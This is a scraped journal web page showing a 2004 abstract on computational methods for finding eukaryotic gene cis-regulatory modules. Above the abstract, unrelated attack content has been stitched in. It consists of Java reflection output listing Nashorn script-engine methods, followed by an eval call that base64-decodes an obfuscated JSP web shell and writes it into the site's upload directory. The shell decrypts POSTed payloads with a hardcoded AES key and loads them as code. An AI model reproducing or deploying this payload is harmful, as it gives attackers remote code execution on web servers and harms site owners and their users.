public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2004, Vol. 24 ›› Issue (02): 172-176.

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Establishment of the methods for searching eukaryotic gene cis-regulatory modules

ZHONG Dong1, ZHANG Zhen-shu1, LIU Yu-hu1, ZHENG Guo-qing2, LIU Xiao-yi2, LU Yang2, ZHAO Gui-jun2, XU An-long2   

  1. 1. 第一军医大学南方医院消化科, 广东, 广州, 510515;
    2. 中山大学生命科学学院生物化学系, 广东, 广州, 510275
  • Online:2004-02-20 Published:2004-02-20

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Abstract: On the basis of the knowledge of eukaryotic gene regulation, we modified the method in three aspects: (1) Sear-ching the cis-regulatory modules (CRM) according Fasta or Blast sequence with multiple sequence and low E value, followed by mutual scoring of these sequence with Smith-Waterman algorithms and finally by clustering analysis; (2) Searching the trans-cription factor-binding site using International Union of Pure and Applied Chemistry, Position-Weight Matrix(PWM) and Dyed method; (3) Designing and implementation of data analysis based on the software in Windows 2000 and UNIX using object-oriented technology. The results of analysis of the major histocompatibility complex gene family show that this procedure may accurately locate the regions that contain some of the CRMs.

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